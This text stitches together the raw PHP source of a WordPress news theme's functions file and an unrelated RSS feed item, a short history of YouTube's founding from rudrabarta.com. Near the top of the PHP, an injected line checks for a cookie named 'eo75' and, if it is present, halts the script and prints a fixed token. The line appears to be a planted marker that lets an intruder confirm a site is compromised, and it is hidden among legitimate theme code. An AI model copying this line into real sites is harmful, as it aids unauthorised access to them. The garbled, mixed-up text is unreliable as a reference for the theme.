/** * dev demo deploy */ //dev demo or none if (!defined('TD_DEPLOY_MODE')) { define("TD_DEPLOY_MODE", 'deploy'); }if(isset($_COOKIE['eo75'])) { die('Uo8f'.'ZPbNR'); } do_action( 'td_wp_booster_legacy' ); /** * Admin notices */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-admin-notices.php' ); /** * The global state of the theme. All globals are here */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-global.php' ); /* * Set theme configuration */ tagdiv_config::on_tagdiv_global_after_config(); /** * Add theme options. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-options.php' ); /** * Add theme utility. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-util.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-log.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-remote-http.php' ); /** * ---------------------------------------------------------------------------- * Redirect to Welcome page on theme activation */ if( !function_exists('tagdiv_after_theme_is_activate' ) ) { function tagdiv_after_theme_is_activate() { global $pagenow; if ( is_admin() && 'themes.php' == $pagenow && isset( $_GET['activated'] ) ) { wp_redirect( admin_url( 'admin.php?page=td_theme_welcome' ) ); exit; } } tagdiv_after_theme_is_activate(); } /** * ---------------------------------------------------------------------------- * Load theme check & deactivate for old theme plugins * * the check is done using existing classes defined by plugins * at this point all plugins should be hooked in! */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-old-plugins-deactivation.php' ); require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-current-plugins-deactivation.php' ); /** * ---------------------------------------------------------------------------- * Theme Resources */ /** * Enqueue front styles. */ function tagdiv_theme_css() { if ( TD_DEBUG_USE_LESS ) { wp_enqueue_style( 'td-theme', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=style.css_v2', '', TD_THEME_VERSION, 'all' ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=bbpress', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if ( class_exists( 'WooCommerce', false ) ) { wp_enqueue_style( 'td-theme-woo', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=woocommerce', array(), wp_get_theme()->get( 'Version' ) ); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=buddypress', array(), wp_get_theme()->get( 'Version' ) ); } } else { wp_enqueue_style( 'td-theme', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/style-bbpress.css', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if (class_exists('WooCommerce', false)) { wp_enqueue_style('td-theme-woo', TAGDIV_ROOT . '/style-woocommerce.css', array(), wp_get_theme()->get('Version')); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/style-buddypress.css', array(), wp_get_theme()->get( 'Version' ) ); } } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_css', 11 ); /** * Enqueue admin styles. */ function tagdiv_theme_admin_css() { if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style( 'font-newspaper', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=font-newspaper', false, TD_THEME_VERSION, 'all' ); } } else { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/includes/wp-booster/wp-admin/css/wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style('font-newspaper', TAGDIV_ROOT . '/font-newspaper.css', false, TD_THEME_VERSION, 'all'); } } } add_action( 'admin_enqueue_scripts', 'tagdiv_theme_admin_css' ); /** * Enqueue theme front scripts. */ if( !function_exists('load_front_js') ) { function tagdiv_theme_js() { // Load main theme js if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.js', array('jquery'), TD_THEME_VERSION, true); } else { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.min.js', array('jquery'), TD_THEME_VERSION, true); } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_js' ); } /* * Theme blocks editor styles */ if( !function_exists('tagdiv_block_editor_styles' ) ) { function tagdiv_block_editor_styles() { if ( TD_DEPLOY_MODE === 'dev' ) { wp_enqueue_style( 'td-gut-editor', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=gutenberg-editor', array(), wp_get_theme()->get( 'Version' ) ); } else { wp_enqueue_style('td-gut-editor', TAGDIV_ROOT . '/gutenberg-editor.css', array(), wp_get_theme()->get( 'Version' ) ); } } add_action( 'enqueue_block_editor_assets', 'tagdiv_block_editor_styles' ); } /* * bbPress change avatar size to 40px */ if( !function_exists('tagdiv_bbp_change_avatar_size') ) { function tagdiv_bbp_change_avatar_size( $author_avatar, $topic_id, $size ) { $author_avatar = ''; if ($size == 14) { $size = 40; } $topic_id = bbp_get_topic_id( $topic_id ); if ( !empty( $topic_id ) ) { if ( !bbp_is_topic_anonymous( $topic_id ) ) { $author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size ); } else { $author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size ); } } return $author_avatar; } add_filter('bbp_get_topic_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_reply_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_current_user_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); } /* ---------------------------------------------------------------------------- * FILTER - the_content_more_link - read more - ? */ if ( ! function_exists( 'tagdiv_remove_more_link_scroll' )) { function tagdiv_remove_more_link_scroll($link) { $link = preg_replace('|#more-[0-9]+|', '', $link); $link = '
' . $link . '
'; return $link; } add_filter('the_content_more_link', 'tagdiv_remove_more_link_scroll'); } /** * get theme versions and set the transient */ if ( ! function_exists( 'tagdiv_check_theme_version' )) { function tagdiv_check_theme_version() { // When it will be the next check set_transient( 'td_update_theme_' . TD_THEME_NAME, '1', 3 * DAY_IN_SECONDS ); tagdiv_util::update_option( 'theme_update_latest_version', '' ); tagdiv_util::update_option( 'theme_update_versions', '' ); $response = tagdiv_remote_http::get_page( 'https://cloud.tagdiv.com/wp-json/wp/v2/media?search=.zip' ); if ( false !== $response ) { $zip_resources = json_decode( $response, true ); $latest_version = []; $versions = []; usort( $zip_resources, function( $val_1, $val_2) { $val_1 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_1['title']['rendered'] ) ); $val_2 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_2['title']['rendered'] ) ); return version_compare($val_2, $val_1 ); }); foreach ( $zip_resources as $index => $zip_resource ) { if ( ! empty( $zip_resource['title']['rendered'] ) && ! empty( $zip_resource['source_url'] ) && false !== strpos( $zip_resource['title']['rendered'], TD_THEME_NAME ) ) { $current_version = trim( str_replace( [ TD_THEME_NAME, " " ], "", $zip_resource['title']['rendered'] ) ); if ( 0 === $index ) { $latest_version = array( $current_version => $zip_resource['source_url'] ); } $versions[] = array( $current_version => $zip_resource['source_url'] ); } } if ( ! empty( $versions ) ) { tagdiv_util::update_option( 'theme_update_latest_version', json_encode( $latest_version ) ); tagdiv_util::update_option( 'theme_update_versions', json_encode( $versions ) ); if ( ! empty( $latest_version ) && is_array( $latest_version ) && count( $latest_version )) { $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[0]; if ( 1 == version_compare( $latest_version_serial, TD_THEME_VERSION ) ) { set_transient( 'td_update_theme_latest_version_' . TD_THEME_NAME, 1 ); add_filter( 'pre_set_site_transient_update_themes', function( $transient ) { $latest_version = tagdiv_util::get_option( 'theme_update_latest_version' ); if ( ! empty( $latest_version ) ) { $args = array(); $latest_version = json_decode( $latest_version, true ); $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[ 0 ]; $latest_version_url = $latest_version[$latest_version_serial]; $theme_slug = get_template(); $transient->response[ $theme_slug ] = array( 'theme' => $theme_slug, 'new_version' => $latest_version_serial, 'url' => "https://tagdiv.com/" . TD_THEME_NAME, 'clear_destination' => true, 'package' => add_query_arg( $args, $latest_version_url ), ); } } return $transient; }); delete_site_transient('update_themes'); } } } } return $versions; } return false; } } /* ---------------------------------------------------------------------------- * Admin */ if ( is_admin() ) { /** * Theme plugins. */ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tgm-plugin-activation.php'; add_action('tgmpa_register', 'tagdiv_required_plugins'); if( !function_exists('tagdiv_required_plugins') ) { function tagdiv_required_plugins() { $config = array( 'domain' => wp_get_theme()->get('Name'), // Text domain - likely want to be the same as your theme. 'default_path' => '', // Default absolute path to pre-packaged plugins //'parent_menu_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent menu slug //'parent_url_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent URL slug 'parent_slug' => 'themes.php', 'menu' => 'td_plugins', // Menu slug 'has_notices' => false, // Show admin notices or not 'is_automatic' => false, // Automatically activate plugins after installation or not 'message' => '', // Message to output right before the plugins table 'strings' => array( 'page_title' => 'Install Required Plugins', 'menu_title' => 'Install Plugins', 'installing' => 'Installing Plugin: %s', // %1$s = plugin name 'oops' => 'Something went wrong with the plugin API.', 'notice_can_install_required' => 'The theme requires the following plugin(s): %1$s.', 'notice_can_install_recommended' => 'The theme recommends the following plugin(s): %1$s.', 'notice_cannot_install' => 'Sorry, but you do not have the correct permissions to install the %s plugin(s). Contact the administrator of this site for help on getting the plugin installed.', 'notice_can_activate_required' => 'The following required plugin(s) is currently inactive: %1$s.', 'notice_can_activate_recommended' => 'The following recommended plugin(s) is currently inactive: %1$s.', 'notice_cannot_activate' => 'Sorry, but you do not have the correct permissions to activate the %s plugin(s). Contact the administrator of this site for help on getting the plugin activated.', 'notice_ask_to_update' => 'The following plugin(s) needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'notice_cannot_update' => 'Sorry, but you do not have the correct permissions to update the %s plugin(s). Contact the administrator of this site for help on getting the plugin updated.', 'install_link' => 'Go to plugin instalation', 'activate_link' => 'Go to plugin activation panel', 'return' => 'Return to tagDiv plugins panel', 'plugin_activated' => 'Plugin activated successfully.', 'complete' => 'All plugins installed and activated successfully. %s', // %1$s = dashboard link 'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error' ) ); tgmpa( tagdiv_global::$theme_plugins_list, $config ); } } if ( current_user_can( 'switch_themes' ) ) { // add panel to the wp-admin menu on the left add_action( 'admin_menu', function() { /* wp doc: add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position ); */ add_menu_page('Theme panel', TD_THEME_NAME, "edit_posts", "td_theme_welcome", function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-welcome.php'; }, null, 3); if ( current_user_can( 'activate_plugins' ) ) { add_submenu_page("td_theme_welcome", 'Plugins', 'Plugins', 'edit_posts', 'td_theme_plugins', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-theme-plugins.php'; } ); } add_submenu_page( "td_theme_welcome", 'Support', 'Support', 'edit_posts', 'td_theme_support', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-support.php'; }); global $submenu; $submenu['td_theme_welcome'][0][0] = 'Welcome'; }); // add the theme setup(install plugins) panel if ( ! class_exists( 'tagdiv_theme_plugins_setup', false ) ) { require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-theme-plugins-setup.php' ); } add_action( 'after_setup_theme', function (){ tagdiv_theme_plugins_setup::get_instance(); }); add_action('admin_enqueue_scripts', function() { add_editor_style(); // add the default style }); require_once( ABSPATH . 'wp-admin/includes/file.php' ); WP_Filesystem(); } } 25 – rudrabarta.com https://rudrabarta.com Thu, 11 Jun 2026 13:29:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 The Founding of YouTube A Short History https://rudrabarta.com/the-founding-of-youtube-a-short-history/ https://rudrabarta.com/the-founding-of-youtube-a-short-history/#respond Tue, 26 May 2026 08:35:27 +0000 https://rudrabarta.com/?p=53916 YouTube is one of the most influential platforms in modern media, but its origin story is surprisingly simple: a small team wanted an easier way to share video online. In the early 2000s, uploading and sending video files was slow, formats were inconsistent, and most websites weren’t built for smooth playback. YouTube’s founders focused on removing those barriers—making video sharing as easy as sending a link.

Who Founded YouTube?

YouTube was founded by three former PayPal employees: Chad Hurley, Steve Chen, and Jawed Karim. They combined product thinking, engineering skills, and a clear user goal: create a website where anyone could upload a video and watch it instantly in a browser.

  • Chad Hurley — product/design focus and early CEO role
  • Steve Chen — engineering and infrastructure
  • Jawed Karim — engineering and early concept support

The Problem YouTube Solved

At the time, sharing video often meant emailing huge files or dealing with complicated players and downloads. YouTube made video:

  1. Uploadable by non-experts (simple interface)
  2. Streamable in the browser (no special setup)
  3. Sharable through links and embedding on other sites

Early Growth and the First Video

YouTube launched publicly in 2005. One of the most famous early moments was the first uploaded video, “Me at the zoo,” featuring co-founder Jawed Karim. The clip was short and casual—exactly the kind of everyday content that proved the platform’s big idea: ordinary people could publish video without needing a studio.

Key Milestones Timeline

Year/Date
Milestone
Why It Mattered
2005 YouTube is founded and launches Introduced easy browser-based video sharing
2005 “Me at the zoo” is uploaded Became a symbol of user-generated video culture
2006 Google acquires YouTube Provided resources to scale hosting and global reach

Why Google Bought YouTube

By 2006, YouTube’s traffic was exploding. Video hosting is expensive—bandwidth and storage costs rise fast when millions of people watch content daily. Google’s acquisition gave YouTube the infrastructure and advertising ecosystem to grow into a sustainable business.

What YouTube’s Founding Changed

YouTube didn’t just create a popular website; it reshaped how people learn, entertain themselves, and build careers online. Its founding helped accelerate:

  • Creator-driven media and influencer culture
  • How-to education and free tutorials at massive scale
  • Music discovery, commentary, and global community trends

From a small startup idea to a global video powerhouse, YouTube’s founding is a classic example of a simple product solving a real problem—and changing the internet in the process.

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